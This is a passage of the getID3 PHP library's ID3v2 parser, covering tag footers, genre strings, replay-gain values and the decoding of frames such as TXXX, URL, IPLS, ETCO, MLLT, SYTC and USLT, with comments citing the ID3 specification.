						$this->error('error parsing "'.$frame_name.'" ('.$framedataoffset.' bytes into the ID3v2.'.$id3v2_majorversion.' tag).');

					}

				}
				$framedataoffset += ($frame_size + $this->ID3v2HeaderLength($id3v2_majorversion));

			}

		}


	//    Footer

	//    The footer is a copy of the header, but with a different identifier.
	//        ID3v2 identifier           "3DI"
	//        ID3v2 version              $04 00
	//        ID3v2 flags                %abcd0000
	//        ID3v2 size             4 * %0xxxxxxx

		if (isset($thisfile_id3v2_flags['isfooter']) && $thisfile_id3v2_flags['isfooter']) {
			$footer = $this->fread(10);
			if (substr($footer, 0, 3) == '3DI') {
				$thisfile_id3v2['footer'] = true;
				$thisfile_id3v2['majorversion_footer'] = ord($footer[3]);
				$thisfile_id3v2['minorversion_footer'] = ord($footer[4]);
			}
			if ($thisfile_id3v2['majorversion_footer'] <= 4) {
				$id3_flags = ord($footer[5]);
				$thisfile_id3v2_flags['unsynch_footer']  = (bool) ($id3_flags & 0x80);
				$thisfile_id3v2_flags['extfoot_footer']  = (bool) ($id3_flags & 0x40);
				$thisfile_id3v2_flags['experim_footer']  = (bool) ($id3_flags & 0x20);
				$thisfile_id3v2_flags['isfooter_footer'] = (bool) ($id3_flags & 0x10);

				$thisfile_id3v2['footerlength'] = getid3_lib::BigEndian2Int(substr($footer, 6, 4), 1);
			}
		} // end footer

		if (isset($thisfile_id3v2['comments']['genre'])) {
			$genres = array();
			foreach ($thisfile_id3v2['comments']['genre'] as $key => $value) {
				foreach ($this->ParseID3v2GenreString($value) as $genre) {
					$genres[] = $genre;
				}
			}
			$thisfile_id3v2['comments']['genre'] = array_unique($genres);
			unset($key, $value, $genres, $genre);
		}

		if (isset($thisfile_id3v2['comments']['track_number'])) {
			foreach ($thisfile_id3v2['comments']['track_number'] as $key => $value) {
				if (strstr($value, '/')) {
					list($thisfile_id3v2['comments']['track_number'][$key], $thisfile_id3v2['comments']['totaltracks'][$key]) = explode('/', $thisfile_id3v2['comments']['track_number'][$key]);
				}
			}
		}

		if (!isset($thisfile_id3v2['comments']['year']) && !empty($thisfile_id3v2['comments']['recording_time'][0]) && preg_match('#^([0-9]{4})#', trim($thisfile_id3v2['comments']['recording_time'][0]), $matches)) {
			$thisfile_id3v2['comments']['year'] = array($matches[1]);
		}


		if (!empty($thisfile_id3v2['TXXX'])) {
			// MediaMonkey does this, maybe others: write a blank RGAD frame, but put replay-gain adjustment values in TXXX frames
			foreach ($thisfile_id3v2['TXXX'] as $txxx_array) {
				switch ($txxx_array['description']) {
					case 'replaygain_track_gain':
						if (empty($info['replay_gain']['track']['adjustment']) && !empty($txxx_array['data'])) {
							$info['replay_gain']['track']['adjustment'] = floatval(trim(str_replace('dB', '', $txxx_array['data'])));
						}
						break;
					case 'replaygain_track_peak':
						if (empty($info['replay_gain']['track']['peak']) && !empty($txxx_array['data'])) {
							$info['replay_gain']['track']['peak'] = floatval($txxx_array['data']);
						}
						break;
					case 'replaygain_album_gain':
						if (empty($info['replay_gain']['album']['adjustment']) && !empty($txxx_array['data'])) {
							$info['replay_gain']['album']['adjustment'] = floatval(trim(str_replace('dB', '', $txxx_array['data'])));
						}
						break;
				}
			}
		}


		// Set avdataoffset
		$info['avdataoffset'] = $thisfile_id3v2['headerlength'];
		if (isset($thisfile_id3v2['footer'])) {
			$info['avdataoffset'] += 10;
		}

		return true;
	}

	/**
	 * @param string $genrestring
	 *
	 * @return array
	 */
	public function ParseID3v2GenreString($genrestring) {
		// Parse genres into arrays of genreName and genreID
		// ID3v2.2.x, ID3v2.3.x: '(21)' or '(4)Eurodisco' or '(51)(39)' or '(55)((I think...)'
		// ID3v2.4.x: '21' $00 'Eurodisco' $00
		$clean_genres = array();

		// hack-fixes for some badly-written ID3v2.3 taggers, while trying not to break correctly-written tags
		if (($this->getid3->info['id3v2']['majorversion'] == 3) && !preg_match('#[\x00]#', $genrestring)) {
			// note: MusicBrainz Picard incorrectly stores plaintext genres separated by "/" when writing in ID3v2.3 mode, hack-fix here:
			// replace / with NULL, then replace back the two ID3v1 genres that legitimately have "/" as part of the single genre name
			if (strpos($genrestring, '/') !== false) {
				$LegitimateSlashedGenreList = array(  // https://github.com/JamesHeinrich/getID3/issues/223
					'Pop/Funk',    // ID3v1 genre #62 - https://en.wikipedia.org/wiki/ID3#standard
					'Cut-up/DJ',   // Discogs - https://www.discogs.com/style/cut-up/dj
					'RnB/Swing',   // Discogs - https://www.discogs.com/style/rnb/swing
					'Funk / Soul', // Discogs (note spaces) - https://www.discogs.com/genre/funk+%2F+soul
				);
				$genrestring = str_replace('/', "\x00", $genrestring);
				foreach ($LegitimateSlashedGenreList as $SlashedGenre) {
					$genrestring = str_ireplace(str_replace('/', "\x00", $SlashedGenre), $SlashedGenre, $genrestring);
				}
			}

			// some other taggers separate multiple genres with semicolon, e.g. "Heavy Metal;Thrash Metal;Metal"
			if (strpos($genrestring, ';') !== false) {
				$genrestring = str_replace(';', "\x00", $genrestring);
			}
		}


		if (strpos($genrestring, "\x00") === false) {
			$genrestring = preg_replace('#\(([0-9]{1,3})\)#', '$1'."\x00", $genrestring);
		}

		$genre_elements = explode("\x00", $genrestring);
		foreach ($genre_elements as $element) {
			$element = trim($element);
			if ($element) {
				if (preg_match('#^[0-9]{1,3}$#', $element)) {
					$clean_genres[] = getid3_id3v1::LookupGenreName($element);
				} else {
					$clean_genres[] = str_replace('((', '(', $element);
				}
			}
		}
		return $clean_genres;
	}

	/**
	 * @param array $parsedFrame
	 *
	 * @return bool
	 */
	public function ParseID3v2Frame(&$parsedFrame) {

		// shortcuts
		$info = &$this->getid3->info;
		$id3v2_majorversion = $info['id3v2']['majorversion'];

		$parsedFrame['framenamelong']  = $this->FrameNameLongLookup($parsedFrame['frame_name']);
		if (empty($parsedFrame['framenamelong'])) {
			unset($parsedFrame['framenamelong']);
		}
		$parsedFrame['framenameshort'] = $this->FrameNameShortLookup($parsedFrame['frame_name']);
		if (empty($parsedFrame['framenameshort'])) {
			unset($parsedFrame['framenameshort']);
		}

		if ($id3v2_majorversion >= 3) { // frame flags are not part of the ID3v2.2 standard
			if ($id3v2_majorversion == 3) {
				//    Frame Header Flags
				//    %abc00000 %ijk00000
				$parsedFrame['flags']['TagAlterPreservation']  = (bool) ($parsedFrame['frame_flags_raw'] & 0x8000); // a - Tag alter preservation
				$parsedFrame['flags']['FileAlterPreservation'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x4000); // b - File alter preservation
				$parsedFrame['flags']['ReadOnly']              = (bool) ($parsedFrame['frame_flags_raw'] & 0x2000); // c - Read only
				$parsedFrame['flags']['compression']           = (bool) ($parsedFrame['frame_flags_raw'] & 0x0080); // i - Compression
				$parsedFrame['flags']['Encryption']            = (bool) ($parsedFrame['frame_flags_raw'] & 0x0040); // j - Encryption
				$parsedFrame['flags']['GroupingIdentity']      = (bool) ($parsedFrame['frame_flags_raw'] & 0x0020); // k - Grouping identity

			} elseif ($id3v2_majorversion == 4) {
				//    Frame Header Flags
				//    %0abc0000 %0h00kmnp
				$parsedFrame['flags']['TagAlterPreservation']  = (bool) ($parsedFrame['frame_flags_raw'] & 0x4000); // a - Tag alter preservation
				$parsedFrame['flags']['FileAlterPreservation'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x2000); // b - File alter preservation
				$parsedFrame['flags']['ReadOnly']              = (bool) ($parsedFrame['frame_flags_raw'] & 0x1000); // c - Read only
				$parsedFrame['flags']['GroupingIdentity']      = (bool) ($parsedFrame['frame_flags_raw'] & 0x0040); // h - Grouping identity
				$parsedFrame['flags']['compression']           = (bool) ($parsedFrame['frame_flags_raw'] & 0x0008); // k - Compression
				$parsedFrame['flags']['Encryption']            = (bool) ($parsedFrame['frame_flags_raw'] & 0x0004); // m - Encryption
				$parsedFrame['flags']['Unsynchronisation']     = (bool) ($parsedFrame['frame_flags_raw'] & 0x0002); // n - Unsynchronisation
				$parsedFrame['flags']['DataLengthIndicator']   = (bool) ($parsedFrame['frame_flags_raw'] & 0x0001); // p - Data length indicator

				// Frame-level de-unsynchronisation - ID3v2.4
				if ($parsedFrame['flags']['Unsynchronisation']) {
					$parsedFrame['data'] = $this->DeUnsynchronise($parsedFrame['data']);
				}

				if ($parsedFrame['flags']['DataLengthIndicator']) {
					$parsedFrame['data_length_indicator'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 0, 4), 1);
					$parsedFrame['data']                  =                           substr($parsedFrame['data'], 4);
				}
			}

			//    Frame-level de-compression
			if ($parsedFrame['flags']['compression']) {
				$parsedFrame['decompressed_size'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 0, 4));
				if (!function_exists('gzuncompress')) {
					$this->warning('gzuncompress() support required to decompress ID3v2 frame "'.$parsedFrame['frame_name'].'"');
				} else {
					if ($decompresseddata = @gzuncompress(substr($parsedFrame['data'], 4))) {
					//if ($decompresseddata = @gzuncompress($parsedFrame['data'])) {
						$parsedFrame['data'] = $decompresseddata;
						unset($decompresseddata);
					} else {
						$this->warning('gzuncompress() failed on compressed contents of ID3v2 frame "'.$parsedFrame['frame_name'].'"');
					}
				}
			}
		}

		if (!empty($parsedFrame['flags']['DataLengthIndicator'])) {
			if ($parsedFrame['data_length_indicator'] != strlen($parsedFrame['data'])) {
				$this->warning('ID3v2 frame "'.$parsedFrame['frame_name'].'" should be '.$parsedFrame['data_length_indicator'].' bytes long according to DataLengthIndicator, but found '.strlen($parsedFrame['data']).' bytes of data');
			}
		}

		if (isset($parsedFrame['datalength']) && ($parsedFrame['datalength'] == 0)) {

			$warning = 'Frame "'.$parsedFrame['frame_name'].'" at offset '.$parsedFrame['dataoffset'].' has no data portion';
			switch ($parsedFrame['frame_name']) {
				case 'WCOM':
					$warning .= ' (this is known to happen with files tagged by RioPort)';
					break;

				default:
					break;
			}
			$this->warning($warning);

		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'UFID')) || // 4.1   UFID Unique file identifier
			(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'UFI'))) {  // 4.1   UFI  Unique file identifier
			//   There may be more than one 'UFID' frame in a tag,
			//   but only one with the same 'Owner identifier'.
			// <Header for 'Unique file identifier', ID: 'UFID'>
			// Owner identifier        <text string> $00
			// Identifier              <up to 64 bytes binary data>
			$exploded = explode("\x00", $parsedFrame['data'], 2);
			$parsedFrame['ownerid'] = (isset($exploded[0]) ? $exploded[0] : '');
			$parsedFrame['data']    = (isset($exploded[1]) ? $exploded[1] : '');

		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'TXXX')) || // 4.2.2 TXXX User defined text information frame
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'TXX'))) {    // 4.2.2 TXX  User defined text information frame
			//   There may be more than one 'TXXX' frame in each tag,
			//   but only one with the same description.
			// <Header for 'User defined text information frame', ID: 'TXXX'>
			// Text encoding     $xx
			// Description       <text string according to encoding> $00 (00)
			// Value             <text string according to encoding>

			$frame_offset = 0;
			$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding);
			if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
				$this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding');
				$frame_textencoding_terminator = "\x00";
			}
			$frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset);
			if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) {
				$frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00
			}
			$parsedFrame['description'] = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			$parsedFrame['description'] = $this->MakeUTF16emptyStringEmpty($parsedFrame['description']);
			$parsedFrame['encodingid']  = $frame_textencoding;
			$parsedFrame['encoding']    = $this->TextEncodingNameLookup($frame_textencoding);

			$parsedFrame['description'] = trim(getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['description']));
			$parsedFrame['data'] = substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator));
			$parsedFrame['data'] = $this->RemoveStringTerminator($parsedFrame['data'], $frame_textencoding_terminator);
			if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) {
				$commentkey = ($parsedFrame['description'] ? $parsedFrame['description'] : (isset($info['id3v2']['comments'][$parsedFrame['framenameshort']]) ? count($info['id3v2']['comments'][$parsedFrame['framenameshort']]) : 0));
				if (!isset($info['id3v2']['comments'][$parsedFrame['framenameshort']]) || !array_key_exists($commentkey, $info['id3v2']['comments'][$parsedFrame['framenameshort']])) {
					$info['id3v2']['comments'][$parsedFrame['framenameshort']][$commentkey] = trim(getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['data']));
				} else {
					$info['id3v2']['comments'][$parsedFrame['framenameshort']][]            = trim(getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['data']));
				}
			}
			//unset($parsedFrame['data']); do not unset, may be needed elsewhere, e.g. for replaygain


		} elseif ($parsedFrame['frame_name'][0] == 'T') { // 4.2. T??[?] Text information frame
			//   There may only be one text information frame of its kind in an tag.
			// <Header for 'Text information frame', ID: 'T000' - 'TZZZ',
			// excluding 'TXXX' described in 4.2.6.>
			// Text encoding                $xx
			// Information                  <text string(s) according to encoding>

			$frame_offset = 0;
			$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
				$this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding');
			}

			$parsedFrame['data'] = (string) substr($parsedFrame['data'], $frame_offset);
			$parsedFrame['data'] = $this->RemoveStringTerminator($parsedFrame['data'], $this->TextEncodingTerminatorLookup($frame_textencoding));

			$parsedFrame['encodingid'] = $frame_textencoding;
			$parsedFrame['encoding']   = $this->TextEncodingNameLookup($frame_textencoding);
			if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) {
				// ID3v2.3 specs say that TPE1 (and others) can contain multiple artist values separated with /
				// This of course breaks when an artist name contains slash character, e.g. "AC/DC"
				// MP3tag (maybe others) implement alternative system where multiple artists are null-separated, which makes more sense
				// getID3 will split null-separated artists into multiple artists and leave slash-separated ones to the user
				switch ($parsedFrame['encoding']) {
					case 'UTF-16':
					case 'UTF-16BE':
					case 'UTF-16LE':
						$wordsize = 2;
						break;
					case 'ISO-8859-1':
					case 'UTF-8':
					default:
						$wordsize = 1;
						break;
				}
				$Txxx_elements = array();
				$Txxx_elements_start_offset = 0;
				for ($i = 0; $i < strlen($parsedFrame['data']); $i += $wordsize) {
					if (substr($parsedFrame['data'], $i, $wordsize) == str_repeat("\x00", $wordsize)) {
						$Txxx_elements[] = substr($parsedFrame['data'], $Txxx_elements_start_offset, $i - $Txxx_elements_start_offset);
						$Txxx_elements_start_offset = $i + $wordsize;
					}
				}
				$Txxx_elements[] = substr($parsedFrame['data'], $Txxx_elements_start_offset, $i - $Txxx_elements_start_offset);
				foreach ($Txxx_elements as $Txxx_element) {
					$string = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $Txxx_element);
					if (!empty($string)) {
						$info['id3v2']['comments'][$parsedFrame['framenameshort']][] = $string;
					}
				}
				unset($string, $wordsize, $i, $Txxx_elements, $Txxx_element, $Txxx_elements_start_offset);
			}

		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'WXXX')) || // 4.3.2 WXXX User defined URL link frame
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'WXX'))) {    // 4.3.2 WXX  User defined URL link frame
			//   There may be more than one 'WXXX' frame in each tag,
			//   but only one with the same description
			// <Header for 'User defined URL link frame', ID: 'WXXX'>
			// Text encoding     $xx
			// Description       <text string according to encoding> $00 (00)
			// URL               <text string>

			$frame_offset = 0;
			$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding);
			if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
				$this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding');
				$frame_textencoding_terminator = "\x00";
			}
			$frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset);
			if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) {
				$frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00
			}
			$parsedFrame['encodingid']  = $frame_textencoding;
			$parsedFrame['encoding']    = $this->TextEncodingNameLookup($frame_textencoding);
			$parsedFrame['description'] = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);           // according to the frame text encoding
			$parsedFrame['url']         = substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator)); // always ISO-8859-1
			$parsedFrame['description'] = $this->RemoveStringTerminator($parsedFrame['description'], $frame_textencoding_terminator);
			$parsedFrame['description'] = $this->MakeUTF16emptyStringEmpty($parsedFrame['description']);

			if (!empty($parsedFrame['framenameshort']) && $parsedFrame['url']) {
				$info['id3v2']['comments'][$parsedFrame['framenameshort']][] = getid3_lib::iconv_fallback('ISO-8859-1', $info['id3v2']['encoding'], $parsedFrame['url']);
			}
			unset($parsedFrame['data']);


		} elseif ($parsedFrame['frame_name'][0] == 'W') { // 4.3. W??? URL link frames
			//   There may only be one URL link frame of its kind in a tag,
			//   except when stated otherwise in the frame description
			// <Header for 'URL link frame', ID: 'W000' - 'WZZZ', excluding 'WXXX'
			// described in 4.3.2.>
			// URL              <text string>

			$parsedFrame['url'] = trim($parsedFrame['data']); // always ISO-8859-1
			if (!empty($parsedFrame['framenameshort']) && $parsedFrame['url']) {
				$info['id3v2']['comments'][$parsedFrame['framenameshort']][] = getid3_lib::iconv_fallback('ISO-8859-1', $info['id3v2']['encoding'], $parsedFrame['url']);
			}
			unset($parsedFrame['data']);


		} elseif ((($id3v2_majorversion == 3) && ($parsedFrame['frame_name'] == 'IPLS')) || // 4.4  IPLS Involved people list (ID3v2.3 only)
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'IPL'))) {     // 4.4  IPL  Involved people list (ID3v2.2 only)
			// http://id3.org/id3v2.3.0#sec4.4
			//   There may only be one 'IPL' frame in each tag
			// <Header for 'User defined URL link frame', ID: 'IPL'>
			// Text encoding     $xx
			// People list strings    <textstrings>

			$frame_offset = 0;
			$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
				$this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding');
			}
			$parsedFrame['encodingid'] = $frame_textencoding;
			$parsedFrame['encoding']   = $this->TextEncodingNameLookup($parsedFrame['encodingid']);
			$parsedFrame['data_raw']   = (string) substr($parsedFrame['data'], $frame_offset);

			// https://www.getid3.org/phpBB3/viewtopic.php?t=1369
			// "this tag typically contains null terminated strings, which are associated in pairs"
			// "there are users that use the tag incorrectly"
			$IPLS_parts = array();
			if (strpos($parsedFrame['data_raw'], "\x00") !== false) {
				$IPLS_parts_unsorted = array();
				if (((strlen($parsedFrame['data_raw']) % 2) == 0) && ((substr($parsedFrame['data_raw'], 0, 2) == "\xFF\xFE") || (substr($parsedFrame['data_raw'], 0, 2) == "\xFE\xFF"))) {
					// UTF-16, be careful looking for null bytes since most 2-byte characters may contain one; you need to find twin null bytes, and on even padding
					$thisILPS  = '';
					for ($i = 0; $i < strlen($parsedFrame['data_raw']); $i += 2) {
						$twobytes = substr($parsedFrame['data_raw'], $i, 2);
						if ($twobytes === "\x00\x00") {
							$IPLS_parts_unsorted[] = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $thisILPS);
							$thisILPS  = '';
						} else {
							$thisILPS .= $twobytes;
						}
					}
					if (strlen($thisILPS) > 2) { // 2-byte BOM
						$IPLS_parts_unsorted[] = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $thisILPS);
					}
				} else {
					// ISO-8859-1 or UTF-8 or other single-byte-null character set
					$IPLS_parts_unsorted = explode("\x00", $parsedFrame['data_raw']);
				}
				if (count($IPLS_parts_unsorted) == 1) {
					// just a list of names, e.g. "Dino Baptiste, Jimmy Copley, John Gordon, Bernie Marsden, Sharon Watson"
					foreach ($IPLS_parts_unsorted as $key => $value) {
						$IPLS_parts_sorted = preg_split('#[;,\\r\\n\\t]#', $value);
						$position = '';
						foreach ($IPLS_parts_sorted as $person) {
							$IPLS_parts[] = array('position'=>$position, 'person'=>$person);
						}
					}
				} elseif ((count($IPLS_parts_unsorted) % 2) == 0) {
					$position = '';
					$person   = '';
					foreach ($IPLS_parts_unsorted as $key => $value) {
						if (($key % 2) == 0) {
							$position = $value;
						} else {
							$person   = $value;
							$IPLS_parts[] = array('position'=>$position, 'person'=>$person);
							$position = '';
							$person   = '';
						}
					}
				} else {
					foreach ($IPLS_parts_unsorted as $key => $value) {
						$IPLS_parts[] = array($value);
					}
				}

			} else {
				$IPLS_parts = preg_split('#[;,\\r\\n\\t]#', $parsedFrame['data_raw']);
			}
			$parsedFrame['data'] = $IPLS_parts;

			if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) {
				$info['id3v2']['comments'][$parsedFrame['framenameshort']][] = $parsedFrame['data'];
			}


		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'MCDI')) || // 4.4   MCDI Music CD identifier
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'MCI'))) {     // 4.5   MCI  Music CD identifier
			//   There may only be one 'MCDI' frame in each tag
			// <Header for 'Music CD identifier', ID: 'MCDI'>
			// CD TOC                <binary data>

			if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) {
				$info['id3v2']['comments'][$parsedFrame['framenameshort']][] = $parsedFrame['data'];
			}


		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'ETCO')) || // 4.5   ETCO Event timing codes
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'ETC'))) {     // 4.6   ETC  Event timing codes
			//   There may only be one 'ETCO' frame in each tag
			// <Header for 'Event timing codes', ID: 'ETCO'>
			// Time stamp format    $xx
			//   Where time stamp format is:
			// $01  (32-bit value) MPEG frames from beginning of file
			// $02  (32-bit value) milliseconds from beginning of file
			//   Followed by a list of key events in the following format:
			// Type of event   $xx
			// Time stamp      $xx (xx ...)
			//   The 'Time stamp' is set to zero if directly at the beginning of the sound
			//   or after the previous event. All events MUST be sorted in chronological order.

			$frame_offset = 0;
			$parsedFrame['timestampformat'] = ord(substr($parsedFrame['data'], $frame_offset++, 1));

			while ($frame_offset < strlen($parsedFrame['data'])) {
				$parsedFrame['typeid']    = substr($parsedFrame['data'], $frame_offset++, 1);
				$parsedFrame['type']      = $this->ETCOEventLookup($parsedFrame['typeid']);
				$parsedFrame['timestamp'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4));
				$frame_offset += 4;
			}
			unset($parsedFrame['data']);


		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'MLLT')) || // 4.6   MLLT MPEG location lookup table
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'MLL'))) {     // 4.7   MLL MPEG location lookup table
			//   There may only be one 'MLLT' frame in each tag
			// <Header for 'Location lookup table', ID: 'MLLT'>
			// MPEG frames between reference  $xx xx
			// Bytes between reference        $xx xx xx
			// Milliseconds between reference $xx xx xx
			// Bits for bytes deviation       $xx
			// Bits for milliseconds dev.     $xx
			//   Then for every reference the following data is included;
			// Deviation in bytes         %xxx....
			// Deviation in milliseconds  %xxx....

			$frame_offset = 0;
			$parsedFrame['framesbetweenreferences'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 0, 2));
			$parsedFrame['bytesbetweenreferences']  = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 2, 3));
			$parsedFrame['msbetweenreferences']     = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 5, 3));
			$parsedFrame['bitsforbytesdeviation']   = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 8, 1));
			$parsedFrame['bitsformsdeviation']      = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 9, 1));
			$parsedFrame['data'] = substr($parsedFrame['data'], 10);
			$deviationbitstream = '';
			while ($frame_offset < strlen($parsedFrame['data'])) {
				$deviationbitstream .= getid3_lib::BigEndian2Bin(substr($parsedFrame['data'], $frame_offset++, 1));
			}
			$reference_counter = 0;
			while (strlen($deviationbitstream) > 0) {
				$parsedFrame[$reference_counter]['bytedeviation'] = bindec(substr($deviationbitstream, 0, $parsedFrame['bitsforbytesdeviation']));
				$parsedFrame[$reference_counter]['msdeviation']   = bindec(substr($deviationbitstream, $parsedFrame['bitsforbytesdeviation'], $parsedFrame['bitsformsdeviation']));
				$deviationbitstream = substr($deviationbitstream, $parsedFrame['bitsforbytesdeviation'] + $parsedFrame['bitsformsdeviation']);
				$reference_counter++;
			}
			unset($parsedFrame['data']);


		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'SYTC')) || // 4.7   SYTC Synchronised tempo codes
				  (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'STC'))) {  // 4.8   STC  Synchronised tempo codes
			//   There may only be one 'SYTC' frame in each tag
			// <Header for 'Synchronised tempo codes', ID: 'SYTC'>
			// Time stamp format   $xx
			// Tempo data          <binary data>
			//   Where time stamp format is:
			// $01  (32-bit value) MPEG frames from beginning of file
			// $02  (32-bit value) milliseconds from beginning of file

			$frame_offset = 0;
			$parsedFrame['timestampformat'] = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$timestamp_counter = 0;
			while ($frame_offset < strlen($parsedFrame['data'])) {
				$parsedFrame[$timestamp_counter]['tempo'] = ord(substr($parsedFrame['data'], $frame_offset++, 1));
				if ($parsedFrame[$timestamp_counter]['tempo'] == 255) {
					$parsedFrame[$timestamp_counter]['tempo'] += ord(substr($parsedFrame['data'], $frame_offset++, 1));
				}
				$parsedFrame[$timestamp_counter]['timestamp'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4));
				$frame_offset += 4;
				$timestamp_counter++;
			}
			unset($parsedFrame['data']);


		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'USLT')) || // 4.8   USLT Unsynchronised lyric/text transcription
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'ULT'))) {    // 4.9   ULT  Unsynchronised lyric/text transcription
			//   There may be more than one 'Unsynchronised lyrics/text transcription' frame
			//   in each tag, but only one with the same language and content descriptor.
			// <Header for 'Unsynchronised lyrics/text transcription', ID: 'USLT'>
			// Text encoding        $xx
			// Language             $xx xx xx
			// Content descriptor   <text string according to encoding> $00 (00)
			// Lyrics/text          <full text string according to encoding>

			$frame_offset = 0;
			$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding);
			if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
				$this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding');
				$frame_textencoding_terminator = "\x00";
			}
			if (strlen($parsedFrame['data']) >= (4 + strlen($frame_textencoding_terminator))) {  // shouldn't be an issue but badly-written files have been spotted in the wild with not only no contents but also missing the required language field, see https://github.com/JamesHeinrich/getID3/issues/315
				$frame_language = substr($parsedFrame['data'], $frame_offset, 3);
				$frame_offset += 3;
				$frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset);
				if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) {
					$frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00
				}
				$parsedFrame['description'] = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
				$parsedFrame['description'] = $this->MakeUTF16emptyStringEmpty($parsedFrame['description']);
				$parsedFrame['data'] = substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator));
				$parsedFrame['data'] = $this->RemoveStringTerminator($parsedFrame['data'], $frame_textencoding_terminator);

				$parsedFrame['encodingid']   = $frame_textencoding;
				$parsedFrame['encoding']     = $this->TextEncodingNameLookup($frame_textencoding);

				$parsedFrame['language']     = $frame_language;
				$parsedFrame['languagename'] = $this->LanguageLookup($frame_language, false);
				if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) {
					$info['id3v2']['comments'][$parsedFrame['framenameshort']][] = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['data']);
				}
			} else {
